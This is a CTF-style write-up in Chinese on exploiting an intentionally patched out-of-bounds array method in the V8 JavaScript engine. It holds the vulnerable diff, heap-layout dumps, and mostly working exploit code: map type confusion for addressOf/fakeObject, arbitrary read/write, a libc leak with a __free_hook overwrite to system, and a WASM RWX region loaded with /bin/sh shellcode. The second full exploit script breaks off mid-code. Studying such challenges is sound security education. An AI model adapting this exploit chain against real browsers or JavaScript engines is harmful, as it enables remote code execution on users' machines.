0%

V8+JavaScript pwn+类型混淆

OOB 复现

1
2
3
4
5
git checkout 6dc88c191f5ecc5389dc26efa3ca0907faef3598 -f
gclient sync
git apply ./pwn_patch/oob.diff
./tools/dev/v8gen.py x64.release
ninja -C ./out.gn/x64.release d8

在编译前,需要先在 out.gn/x64.debug/args.gn 中加入以下代码:

1
2
3
4
v8_enable_backtrace = true
v8_enable_disassembler = true
v8_enable_object_print = true
v8_enable_verify_heap = true

V8 常用调试命令如下:

1
set args --allow-natives-syntax --shell ./exp.js 

漏洞分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
diff --git a/src/bootstrapper.cc b/src/bootstrapper.cc
index b027d36..ef1002f 100644
--- a/src/bootstrapper.cc
+++ b/src/bootstrapper.cc
@@ -1668,6 +1668,8 @@ void Genesis::InitializeGlobal(Handle<JSGlobalObject> global_object,
Builtins::kArrayPrototypeCopyWithin, 2, false);
SimpleInstallFunction(isolate_, proto, "fill",
Builtins::kArrayPrototypeFill, 1, false);
+ SimpleInstallFunction(isolate_, proto, "oob",
+ Builtins::kArrayOob,2,false);
SimpleInstallFunction(isolate_, proto, "find",
Builtins::kArrayPrototypeFind, 1, false);
SimpleInstallFunction(isolate_, proto, "findIndex",
diff --git a/src/builtins/builtins-array.cc b/src/builtins/builtins-array.cc
index 8df340e..9b828ab 100644
--- a/src/builtins/builtins-array.cc
+++ b/src/builtins/builtins-array.cc
@@ -361,6 +361,27 @@ V8_WARN_UNUSED_RESULT Object GenericArrayPush(Isolate* isolate,
return *final_length;
}
} // namespace
+BUILTIN(ArrayOob){
+ uint32_t len = args.length();
+ if(len > 2) return ReadOnlyRoots(isolate).undefined_value();
+ Handle<JSReceiver> receiver;
+ ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+ isolate, receiver, Object::ToObject(isolate, args.receiver()));
+ Handle<JSArray> array = Handle<JSArray>::cast(receiver);
+ FixedDoubleArray elements = FixedDoubleArray::cast(array->elements());
+ uint32_t length = static_cast<uint32_t>(array->length()->Number());
+ if(len == 1){
+ //read
+ return *(isolate->factory()->NewNumber(elements.get_scalar(length)));
+ }else{
+ //write
+ Handle<Object> value;
+ ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+ isolate, value, Object::ToNumber(isolate, args.at<Object>(1)));
+ elements.set(length,value->Number());
+ return ReadOnlyRoots(isolate).undefined_value();
+ }
+}

BUILTIN(ArrayPush) {
HandleScope scope(isolate);
diff --git a/src/builtins/builtins-definitions.h b/src/builtins/builtins-definitions.h
index 0447230..f113a81 100644
--- a/src/builtins/builtins-definitions.h
+++ b/src/builtins/builtins-definitions.h
@@ -368,6 +368,7 @@ namespace internal {
TFJ(ArrayPrototypeFlat, SharedFunctionInfo::kDontAdaptArgumentsSentinel) \
/* https://tc39.github.io/proposal-flatMap/#sec-Array.prototype.flatMap */ \
TFJ(ArrayPrototypeFlatMap, SharedFunctionInfo::kDontAdaptArgumentsSentinel) \
+ CPP(ArrayOob) \
\
/* ArrayBuffer */ \
/* ES #sec-arraybuffer-constructor */ \
diff --git a/src/compiler/typer.cc b/src/compiler/typer.cc
index ed1e4a5..c199e3a 100644
--- a/src/compiler/typer.cc
+++ b/src/compiler/typer.cc
@@ -1680,6 +1680,8 @@ Type Typer::Visitor::JSCallTyper(Type fun, Typer* t) {
return Type::Receiver();
case Builtins::kArrayUnshift:
return t->cache_->kPositiveSafeInteger;
+ case Builtins::kArrayOob:
+ return Type::Receiver();

// ArrayBuffer functions.
case Builtins::kArrayBufferIsView:
  • 为 JSArray 对象新增了一个 ArrayOob 方法:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
BUILTIN(ArrayOob){
uint32_t len = args.length();
if(len > 2) return ReadOnlyRoots(isolate).undefined_value();
Handle<JSReceiver> receiver;
ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
isolate, receiver, Object::ToObject(isolate, args.receiver()));
Handle<JSArray> array = Handle<JSArray>::cast(receiver);
FixedDoubleArray elements = FixedDoubleArray::cast(array->elements()); /* 获取Array对象的elements */
uint32_t length = static_cast<uint32_t>(array->length()->Number()); /* 获取Array长度 */
if(len == 1){
//read
return *(isolate->factory()->NewNumber(elements.get_scalar(length)));
}else{
//write
Handle<Object> value;
ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
isolate, value, Object::ToNumber(isolate, args.at<Object>(1)));
elements.set(length,value->Number());
return ReadOnlyRoots(isolate).undefined_value();
}
}
  • 如果输入参数个数为“1”:把下标为 length 的元素读取出来(越界读1字)
  • 如果输入参数个数为“2”:在下标为 length 的元素处写入 value(越界写1字)
  • 否则返回 undefined_value
  • PS:this 也算一个参数

JS 对象内存信息布局

现在有 “越界读1字节/越界写1字节”,要想成功利用则需要先掌握 JSArray 对象的内存布局

  • 测试用 JavaScript 代码如下:
1
2
3
4
5
6
7
8
9
10
function Foo(properties, elements) {
for (let i = 0; i < elements; i++) {this[i] = `element${i}`}
for (let i = 0; i < properties; i++) {this[`property${i}`] = `property${i}`}
}

const foo = new Foo(12, 12)

for (const key in foo) {
console.log(`key:${key}, value:${foo[key]}`)
}
  • 使用 GDB 进行打印:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
d8> %DebugPrint(foo)
DebugPrint: 0xebe3f60df81: [JS_OBJECT_TYPE]
- map: 0x33a9ca10afe9 <Map(HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x0ebe3f60de81 <Object map = 0x33a9ca10ac29>
- elements: 0x0ebe3f60e019 <FixedArray[17]> [HOLEY_ELEMENTS]
- properties: 0x0ebe3f60eb41 <PropertyArray[3]> {
#property0: 0x0ebe3f60e221 <String[9]: property0> (const data field 0)
#property1: 0x0ebe3f60e291 <String[9]: property1> (const data field 1)
#property2: 0x0ebe3f60e339 <String[9]: property2> (const data field 2)
#property3: 0x0ebe3f60e3d9 <String[9]: property3> (const data field 3)
#property4: 0x0ebe3f60e491 <String[9]: property4> (const data field 4)
#property5: 0x0ebe3f60e561 <String[9]: property5> (const data field 5)
#property6: 0x0ebe3f60e649 <String[9]: property6> (const data field 6)
#property7: 0x0ebe3f60e749 <String[9]: property7> (const data field 7)
#property8: 0x0ebe3f60e861 <String[9]: property8> (const data field 8)
#property9: 0x0ebe3f60e9a9 <String[9]: property9> (const data field 9)
#property10: 0x0ebe3f60e9e9 <String[10]: property10> (const data field 10) properties[0]
#property11: 0x0ebe3f60eb89 <String[10]: property11> (const data field 11) properties[1]
}
- elements: 0x0ebe3f60e019 <FixedArray[17]> {
0: 0x0ebe3f60dfe9 <String[8]: element0>
1: 0x0ebe3f60e0e9 <String[8]: element1>
2: 0x0ebe3f60e101 <String[8]: element2>
3: 0x0ebe3f60e119 <String[8]: element3>
4: 0x0ebe3f60e131 <String[8]: element4>
5: 0x0ebe3f60e149 <String[8]: element5>
6: 0x0ebe3f60e161 <String[8]: element6>
7: 0x0ebe3f60e179 <String[8]: element7>
8: 0x0ebe3f60e191 <String[8]: element8>
9: 0x0ebe3f60e1a9 <String[8]: element9>
10: 0x0ebe3f60e1c1 <String[9]: element10>
11: 0x0ebe3f60e1e1 <String[9]: element11>
12-16: 0x0bb7280405b1 <the_hole>
}
0x33a9ca10afe9: [Map]
- type: JS_OBJECT_TYPE
- instance size: 104
- inobject properties: 10
- elements kind: HOLEY_ELEMENTS
- unused property fields: 1
- enum length: 12
- stable_map
- back pointer: 0x33a9ca10af99 <Map(HOLEY_ELEMENTS)>
- prototype_validity cell: 0x0988cf39f971 <Cell value= 0>
- instance descriptors (own) #12: 0x0ebe3f60ea09 <DescriptorArray[12]>
- layout descriptor: (nil)
- prototype: 0x0ebe3f60de81 <Object map = 0x33a9ca10ac29>
- constructor: 0x0988cf39f689 <JSFunction Foo (sfi = 0x988cf39f381)>
- dependent code: 0x0bb7280402c1 <Other heap object (WEAK_FIXED_ARRAY_TYPE)>
- construction counter: 6

{0: "element0", 1: "element1", 2: "element2", 3: "element3", 4: "element4", 5: "element5", 6: "element6", 7: "element7", 8: "element8", 9: "element9", 10: "element10", 11: "element11", property0: "property0", property1: "property1", property2: "property2", property3: "property3", property4: "property4", property5: "property5", property6: "property6", property7: "property7", property8: "property8", property9: "property9", property10: "property10", property11: "property11"}
  • 打印 JS_OBJECT_TYPE:
1
2
3
4
5
6
7
8
9
10
pwndbg> x/20xg 0xebe3f60df81-1 /* JS_OBJECT_TYPE */
0xebe3f60df80: 0x000033a9ca10afe9 0x00000ebe3f60eb41
0xebe3f60df90: 0x00000ebe3f60e019 0x00000ebe3f60e221
0xebe3f60dfa0: 0x00000ebe3f60e291 0x00000ebe3f60e339
0xebe3f60dfb0: 0x00000ebe3f60e3d9 0x00000ebe3f60e491
0xebe3f60dfc0: 0x00000ebe3f60e561 0x00000ebe3f60e649
0xebe3f60dfd0: 0x00000ebe3f60e749 0x00000ebe3f60e861
0xebe3f60dfe0: 0x00000ebe3f60e9a9 0x00000bb728040941
0xebe3f60dff0: 0x0000000800000003 0x30746e656d656c65
0xebe3f60e000: 0x00000bb728040801 0x0000000100000000
  • 前3个数据分别为 map properties elements 的地址
  • 接下来的10个一字空间分别用于存储 [property0property9]
  • PS:没有使用指针压缩技术(直接把8字节的指针存入内存)

V8 拥有两种类似的属性:

  • 索引属性(Array-indexed Properties)
  • 命名属性(Named Properties)

V8 遍历时一般会先遍历前者,前后两者在底层存储在两个单独的数据结构中,分别用 elementsproperties 两个指针指向它们

  • 如果命名属性少于等于10个时,命名属性会直接存储到对象本身,而无需先通过 properties 指针查询(直接存储到对象本身的属性被称为对象内属性 In-object Properties)
1
2
3
4
pwndbg> x/20xg 0x00000ebe3f60eb41-1 /* properties */
0xebe3f60eb40: 0x00000bb728041909 0x0000000300000000
0xebe3f60eb50: 0x00000ebe3f60e9e9 0x00000ebe3f60eb89
0xebe3f60eb60: 0x00000bb7280404d1 0x00000bb728041f49
  • 从第3个指针开始,就是:[property10property11](前10个存储在对象内部)
1
2
3
4
pwndbg> x/20xg 0x00000ebe3f60e019-1 /* elements */
0xebe3f60e018: 0x00000bb728040801 0x0000001100000000
0xebe3f60e028: 0x00000ebe3f60dfe9 0x00000ebe3f60e0e9
0xebe3f60e038: 0x00000ebe3f60e101 0x00000ebe3f60e119
  • 从第3个指针开始,就是:[element0element11]

对于本题目来说,更重要的特性是:

  • JSArray 对象的 elements 就分配在 JSArray 的相邻上方

测试案例:

1
var floatArray = [1.11, 2.22, 3.33];
1
2
3
d8> %DebugPrint(floatArray)
0x116973d4e061 <JSArray[3]>
[1.11, 2.22, 3.33]
  • JSArray 所在地址为 0x116973d4e061-1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
pwndbg> job 0x116973d4e061 /* JSArray */
0x116973d4e061: [JSArray]
- map: 0x0177b6302ed9 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties]
- prototype: 0x3b1820a11111 <JSArray[0]>
- elements: 0x116973d4e039 <FixedDoubleArray[3]> [PACKED_DOUBLE_ELEMENTS]
- length: 3
- properties: 0x2ad6f06c0c71 <FixedArray[0]> {
#length: 0x3c17ff4801a9 <AccessorInfo> (const accessor descriptor)
}
- elements: 0x116973d4e039 <FixedDoubleArray[3]> {
0: 1.11
1: 2.22
2: 3.33
}
1
2
3
4
5
6
7
pwndbg> job 0x116973d4e039 /* JSArray->elements */
0x116973d4e039: [FixedDoubleArray]
- map: 0x2ad6f06c14f9 <Map>
- length: 3
0: 1.11
1: 2.22
2: 3.33
  • JSArray->elements 所在地址为 0x116973d4e039-1
1
2
3
4
5
6
pwndbg> p {double}(0x116973d4e048)
$1 = 1.1100000000000001
pwndbg> p {double}(0x116973d4e050)
$2 = 2.2200000000000002
pwndbg> p {double}(0x116973d4e058)
$3 = 3.3300000000000001
  • 可以发现:JSArray->elements 和 JSArray 是相邻的

入侵思路

我们拥有一字的越界写和一字的越界写

这一字的越界读刚好可以泄露出 JSArray->map:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
var floatArray = [1.11, 2.22, 3.33];
var mapFloatArray = floatArray.oob();

d8> %DebugPrint(floatArray)
0x1a4e1c98e3b1 <JSArray[3]>
[1.11, 2.22, 3.33]
d8> %DebugPrint(mapFloatArray)
0x1a4e1c98e3d1 <HeapNumber 1.81206e-310>
1.81206045893503e-310

pwndbg> x/10xg 0x1a4e1c98e3b1-1
0x1a4e1c98e3b0: 0x0000215b6a782ed9 0x00001a2de1f40c71 // floatArray
0x1a4e1c98e3c0: 0x00001a4e1c98e389 0x0000000300000000
0x1a4e1c98e3d0: 0x00001a2de1f40561 0x0000215b6a782ed9 // mapFloatArray

而一字的越界写则可以对 JSArray->map 进行覆盖,既然可以操作 JSArray->map,那么最优的利用方式肯定就是类型混淆:

  • 由于 JSArray 是利用 map 来判断一个 elements 到底是数字还是指针
  • 如果我们可以修改 map,就可以触发干扰 V8 对类型的判断

常见的类型混淆如下:

  • 指针 -> Double:数字类型可以直接获取数值(用于泄露某个 JS 对象的地址)
  • Double -> 指针:指针类型会被当做一个对象(用于伪造一个 JS 对象,用于 WAA/RAA)

具体代码细节如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
var obj = {yhellow:"yhellow"};
var floatArray = [1.11, 2.22, 3.33];
var objArray = [obj];
var mapFloatArray = floatArray.oob();
var mapObjArray = objArray.oob();

function addressOf(target)
{
objArray[0] = target;
objArray.oob(mapFloatArray); /* 指针->Double:使指针的地址可以直接被获取 */

let ret = objArray[0];
objArray.oob(mapObjArray);
return ret;
}

function fakeObject(target)
{
floatArray[0] = target;
floatArray.oob(mapObjArray); /* Double->指针:令V8把floatArray当做一个对象 */

let ret = floatArray[0];
floatArray.oob(mapFloatArray);
return ret;
}

接下来就要实现 WAA 和 RAA,可以通过将 JSArray->elements 数组伪造成一个数组对象,实现任意地址读写

  • elements[0] 写入一个数组的 map,在 elements[2] 写入 target - 0x10
  • 然后再用 fakeObject 方法将 elements[0] 的地址伪造成一个对象 fake_array
  • 再对 fake_array[0] 进行读写,实际上就是对目标地址进行读写了

模型如下:

1670253514098

详细代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
var floatArrayAddr = addressOf(floatArray);
var floatArrayElement = floatArrayAddr - 0x28n;
/*
pwndbg> distance 0x03d9b124ecc1 0x3d9b124ece9
0x3d9b124ecc1->0x3d9b124ece9 is 0x28 bytes (0x5 words)
*/
var fakeArrayAddr = floatArrayElement + 0x10n;
var fakeArray = fakeObject(i2f(fakeArrayAddr));
floatArray[0] = mapFloatArray;

function RAA(addr)
{
floatArray[2] = i2f(addr - 0x10n +0x1n);
let data = fakeArray[0];
return f2i(data);
}

var dataBuf = new ArrayBuffer(8);
var dataView = new DataView(dataBuf);
var bufBackStore = addressOf(dataBuf) + 0x20n -0x1n;

function WAA(addr, value)
{
floatArray[2] = i2f(addr - 0x10n + 0x1n);
fakeArray[0] = i2f(value);
}

function WAADataview(addr, value)
{
WAA(bufBackStore, addr);
dataView.setFloat64(0, i2f(value), true);
}
  • 任意写 WAA 这里需要注意一下,由于 V8 的保护,不能直接将数据写入 free_hook,需要 Dataview 作为中介

接着需要完成 libc_base 的泄露:

1
2
3
4
60f:30780x3553ea18a218 —▸ 0x55b0ea5048b0 ◂— push   rbp
610:30800x3553ea18a220 —▸ 0x2c5438080b71 ◂— 0x200002c54380801
611:30880x3553ea18a228 —▸ 0x55b0ea5048b0 ◂— push rbp
612:30900x3553ea18a230 —▸ 0x17dca8789009 ◂— 0x700002c54380801
  • objAddr - 0x8000 后面有一些特殊的指令 push rbp
  • 可以利用这里泄露出 pro_base
  • 然后就可以利用 pro_base 计算出 GOT 表地址,并泄露出 libc_base
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
while(1)
{
let push_rbp = RAA(searchBase);
if((push_rbp & 0xfffn) == 0x8b0)
{
/*
60f:3078│ 0x3553ea18a218 —▸ 0x55b0ea5048b0 ◂— push rbp
610:3080│ 0x3553ea18a220 —▸ 0x2c5438080b71 ◂— 0x200002c54380801
611:3088│ 0x3553ea18a228 —▸ 0x55b0ea5048b0 ◂— push rbp
612:3090│ 0x3553ea18a230 —▸ 0x17dca8789009 ◂— 0x700002c54380801
*/
let push_rbp2 = RAA(push_rbp);
if (push_rbp2 == 0x56415741e5894855n)
{
/*
pwndbg> x/xg 0x55b0ea5048b0
0x55b0ea5048b0 <v8::(anonymous namespace)::WebAssemblyInstantiate(v8::FunctionCallbackInfo<v8::Value> const&)>: 0x56415741e5894855
*/
leak_addr = push_rbp;
pro_base = leak_addr - 0xe618b0n;
/*
pwndbg> distance 0x55b0e96a3000 0x55b0ea5048b0
0x55b0e96a3000->0x55b0ea5048b0 is 0xe618b0 bytes (0x1cc316 words)
*/
console.log(hex(searchBase) + " -> " +hex(leak_addr));
console.log("[*] d8 base : " + hex(pro_base));
break;
}
}
searchBase += 8n
}

这种泄露并不稳定,有许多偏移都需要手动计算,下面是一种稳定的泄露:

  • 打印 floatArray->ArrayConstructor 属性:
1
2
3
d8> %DebugPrint(floatArray.constructor);
0x2be6ab0d0ec1 <JSFunction Array (sfi = 0x24cf5e806791)>
function Array() { [native code] }
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
pwndbg> job 0x2be6ab0d0ec1
0x2be6ab0d0ec1: [Function] in OldSpace
- map: 0x36ed8a1c2d49 <Map(HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x2be6ab0c2109 <JSFunction (sfi = 0x24cf5e803b29)>
- elements: 0x0310c3c80c71 <FixedArray[0]> [HOLEY_ELEMENTS]
- function prototype: 0x2be6ab0d1111 <JSArray[0]>
- initial_map: 0x36ed8a1c2d99 <Map(PACKED_SMI_ELEMENTS)>
- shared_info: 0x24cf5e806791 <SharedFunctionInfo Array>
- name: 0x0310c3c83599 <String[#5]: Array>
- builtin: ArrayConstructor
- formal_parameter_count: 65535
- kind: NormalFunction
- context: 0x2be6ab0c1869 <NativeContext[246]>
- code: 0x01c365606981 <Code BUILTIN ArrayConstructor>
- properties: 0x2be6ab0d1029 <PropertyArray[6]> {
#length: 0x24cf5e8004b9 <AccessorInfo> (const accessor descriptor)
#name: 0x24cf5e800449 <AccessorInfo> (const accessor descriptor)
#prototype: 0x24cf5e800529 <AccessorInfo> (const accessor descriptor)
0x0310c3c84c79 <Symbol: (native_context_index_symbol)>: 11 (const data field 0) properties[0]
0x0310c3c84f41 <Symbol: Symbol.species>: 0x2be6ab0d0fd9 <AccessorPair> (const accessor descriptor)
#isArray: 0x2be6ab0d1069 <JSFunction isArray (sfi = 0x24cf5e806829)> (const data field 1) properties[1]
#from: 0x2be6ab0d10a1 <JSFunction from (sfi = 0x24cf5e806879)> (const data field 2) properties[2]
#of: 0x2be6ab0d10d9 <JSFunction of (sfi = 0x24cf5e8068b1)> (const data field 3) properties[3]
}

- feedback vector: not available
  • 打印 floatArray->ArrayConstructor->code 属性:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
pwndbg> job 0x01c365606981
0x1c365606981: [Code]
- map: 0x0310c3c80a31 <Map>
kind = BUILTIN
name = ArrayConstructor
compiler = turbofan
address = 0x7fff49059878

Trampoline (size = 13)
0x1c3656069c0 0 49ba80c7ae5c40560000 REX.W movq r10,0x56405caec780 (ArrayConstructor)
0x1c3656069ca a 41ffe2 jmp r10

Instructions (size = 28)
0x56405caec780 0 493955d8 REX.W cmpq [r13-0x28] (root (undefined_value)),rdx
0x56405caec784 4 7405 jz 0x56405caec78b (ArrayConstructor)
0x56405caec786 6 488bca REX.W movq rcx,rdx
0x56405caec789 9 eb03 jmp 0x56405caec78e (ArrayConstructor)
0x56405caec78b b 488bcf REX.W movq rcx,rdi
0x56405caec78e e 498b5dd8 REX.W movq rbx,[r13-0x28] (root (undefined_value))
0x56405caec792 12 488bd1 REX.W movq rdx,rcx
0x56405caec795 15 e926000000 jmp 0x56405caec7c0 (ArrayConstructorImpl)
0x56405caec79a 1a 90 nop
0x56405caec79b 1b 90 nop


Safepoints (size = 8)

RelocInfo (size = 2)
0x1c3656069c2 off heap target
  • 可以通过这里来泄露 pro_base
  • 然后利用同样的方法来泄露 libc_base
1
2
3
4
5
6
7
8
9
var pro_base = leak_addr - 0xfc8780n;
console.log("[*] leak_addr : " + hex(leak_addr));
console.log("[*] d8 base : " + hex(pro_base));
var libc_start_main_got = pro_base + 0x12a47b0n;
var libc_start_main = RAA(libc_start_main_got);
var libc_base = libc_start_main - 0x23f90n;

console.log("[*] __libc_start_main: " + hex(libc_start_main));
console.log("[*] libc base : " + hex(libc_base));

最后在 free_hook 中写入 system 就可以了

另外,还有一种不需要进行泄露,直接注入 shellcode 的方法:

  • 通过 WASM,能得到一块 RWX 的内存,里面放着WASM的二进制代码
  • 将 shellcode 写入到这块内存,再调用 WASM 接口时,就会执行 shellcode 了
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,
127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,
1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,
0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,10,11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var funcAsm = wasmInstance.exports.main;

var addressFasm = addressOf(funcAsm);
var sharedInfo = RAA(addressFasm+0x18n-0x1n);
var functionData = RAA(sharedInfo+0x8n-0x1n);
var instanceAddr = RAA(functionData+0x10n-0x1n);
var memoryRWX = RAA(instanceAddr+0x88n-0x1n);
console.log("Get RWX memory : " + hex(memoryRWX));

var shellcode = [
0x2fbb485299583b6an,
0x5368732f6e69622fn,
0x050f5e5457525f54n
];

var dataBuf = new ArrayBuffer(56);
var dataview = new DataView(dataBuf);
var bufBackStore = addressOf(dataBuf) + 0x20n - 0x1n;
WAA(bufBackStore, memoryRWX);
dataview.setFloat64(0, i2f(shellcode[0]), true);
dataview.setFloat64(8, i2f(shellcode[1]), true);
dataview.setFloat64(16, i2f(shellcode[2]), true);

funcAsm();
  • 这是一个比较套路的过程

完整 exp:

  • 不稳定泄漏:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
var obj = {yhellow:"yhellow"};
var floatArray = [1.11, 2.22, 3.33];
var objArray = [obj];
var mapFloatArray = floatArray.oob();
var mapObjArray = objArray.oob();

function addressOf(target)
{
objArray[0] = target;
objArray.oob(mapFloatArray);

let ret = objArray[0];
objArray.oob(mapObjArray);
return f2i(ret);
}

function fakeObject(target)
{
floatArray[0] = target;
floatArray.oob(mapObjArray);

let ret = floatArray[0];
floatArray.oob(mapFloatArray);
return ret;
}

var buffer = new ArrayBuffer(0x10);
var float64 = new Float64Array(buffer);
var bigUint64 = new BigUint64Array(buffer);

function f2i(x)
{
float64[0] = x;
return bigUint64[0];
}

function i2f(x)
{
bigUint64[0] = x;
return float64[0];
}

function hex(x)
{
return "0x" + x.toString(16);
}

var floatArrayAddr = addressOf(floatArray);
var floatArrayElement = floatArrayAddr - 0x28n;
/*
pwndbg> distance 0x03d9b124ecc1 0x3d9b124ece9
0x3d9b124ecc1->0x3d9b124ece9 is 0x28 bytes (0x5 words)
*/
var fakeArrayAddr = floatArrayElement + 0x10n;
var fakeArray = fakeObject(i2f(fakeArrayAddr));
floatArray[0] = mapFloatArray;

function RAA(addr)
{
floatArray[2] = i2f(addr - 0x10n +0x1n);
let data = fakeArray[0];
return f2i(data);
}

var dataBuf = new ArrayBuffer(8);
var dataView = new DataView(dataBuf);
var bufBackStore = addressOf(dataBuf) + 0x20n -0x1n;

function WAA(addr, value)
{
floatArray[2] = i2f(addr - 0x10n + 0x1n);
fakeArray[0] = i2f(value);
}

function WAADataview(addr, value)
{
WAA(bufBackStore, addr);
dataView.setFloat64(0, i2f(value), true);
}

var code = RAA(addressOf(floatArray.constructor)-0x1n+0x30n);
var leak_addr = RAA(code-0x1n+0x40n) >> 16n;
/*
pwndbg> distance 0x556d00f65780 0x556cfff9d000
0x556d00f65780->0x556cfff9d000 is -0xfc8780 bytes (-0x1f90f0 words)
*/
var pro_base = leak_addr - 0xfc8780n;
console.log("[*] leak_addr : " + hex(leak_addr));
console.log("[*] d8 base : " + hex(pro_base));
var libc_start_main_got = pro_base + 0x12a47b0n;
var libc_start_main = RAA(libc_start_main_got);
var libc_base = libc_start_main - 0x23f90n;

console.log("[*] __libc_start_main: " + hex(libc_start_main));
console.log("[*] libc base : " + hex(libc_base));
var free_hook = libc_base + 0x1eee48n;
console.log("[*] free_hook : " + hex(free_hook));
system= libc_base + 0x52290n;
WAADataview(free_hook, system);

function pwnYou()
{
//let cmd = "gnome-calculator;";
let cmd = "/bin/sh";
}
pwnYou();

WAADataview(free_hook, 0x0n);
  • 稳定泄漏:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
var obj = {yhellow:"yhellow"};
var floatArray = [1.11, 2.22, 3.33];
var objArray = [obj];
var mapFloatArray = floatArray.oob();
var mapObjArray = objArray.oob();

function addressOf(target)
{
objArray[0] = target;
objArray.oob(mapFloatArray);

let ret = objArray[0];
objArray.oob(mapObjArray);
return f2i(ret);
}

function fakeObject(target)
{
floatArray[0] = target;
floatArray.oob(mapObjArray);

let ret = floatArray[0];
floatArray.oob(mapFloatArray);
return ret;
}

var buffer = new ArrayBuffer(0x10);
var float64 = new Float64Array(buffer);
var bigUint64 = new BigUint64Array(buffer);

function f2i(x)
{
float64[0] = x;
return bigUint64[0];
}

function i2f(x)
{
bigUint64[0] = x;
return float64[0];
}

function hex(x)
{
return "0x" + x.toString(16);
}

var floatArrayAddr = addressOf(floatArray);
var floatArrayElement = floatArrayAddr - 0x28n;
/*
pwndbg> distance 0x03d9b124ecc1 0x3d9b124ece9
0x3d9b124ecc1->0x3d9b124ece9 is 0x28 bytes (0x5 words)
*/
var fakeArrayAddr = floatArrayElement + 0x10n;
var fakeArray = fakeObject(i2f(fakeArrayAddr));
floatArray[0] = mapFloatArray;

function RAA(addr)
{
floatArray[2] = i2f(addr - 0x10n +0x1n);
let data = fakeArray[0];
return f2i(data);
}

var dataBuf = new ArrayBuffer(8);
var dataView = new DataView(dataBuf);
var bufBackStore = addressOf(dataBuf) + 0x20n -0x1n;

function WAA(addr, value)
{
floatArray[2] = i2f(addr - 0x10n + 0x1n);
fakeArray[0] = i2f(value);
}

function WAADataview(addr, value)
{
WAA(bufBackStore, addr);
dataView.setFloat64(0, i2f(value), true);
}

var objAddr = addressOf(obj);
var searchBase = objAddr-0x8000n-0x1n;
var leak_addr = 0xdeadbeefn;
var pro_base = 0xdeadbeefn;
while(1)
{
let push_rbp = RAA(searchBase);
if((push_rbp & 0xfffn) == 0x8b0)
{
/*
60f:3078│ 0x3553ea18a218 —▸ 0x55b0ea5048b0 ◂— push rbp
610:3080│ 0x3553ea18a220 —▸ 0x2c5438080b71 ◂— 0x200002c54380801
611:3088│ 0x3553ea18a228 —▸ 0x55b0ea5048b0 ◂— push rbp
612:3090│ 0x3553ea18a230 —▸ 0x17dca8789009 ◂— 0x700002c54380801
*/
let push_rbp2 = RAA(push_rbp);
if (push_rbp2 == 0x56415741e5894855n)
{
/*
pwndbg> x/xg 0x55b0ea5048b0
0x55b0ea5048b0 <v8::(anonymous namespace)::WebAssemblyInstantiate(v8::FunctionCallbackInfo<v8::Value> const&)>: 0x56415741e5894855
*/
leak_addr = push_rbp;
pro_base = leak_addr - 0xe618b0n;
/*
pwndbg> distance 0x55b0e96a3000 0x55b0ea5048b0
0x55b0e96a3000->0x55b0ea5048b0 is 0xe618b0 bytes (0x1cc316 words)
*/
console.log(hex(searchBase) + " -> " +hex(leak_addr));
console.log("[*] d8 base : " + hex(pro_base));
break;
}
}
searchBase += 8n
}

/*
pwndbg> telescope 0x12a47b0+0x5634968b1000
00:0000│ 0x563497b557b0 —▸ 0x7f80d77a4f90 (__libc_start_main) ◂— endbr64
*/
var libc_start_main_got = pro_base + 0x12a47b0n;
var libc_start_main = RAA(libc_start_main_got);
console.log("[*] __libc_start_main : " + hex(libc_start_main));

/*
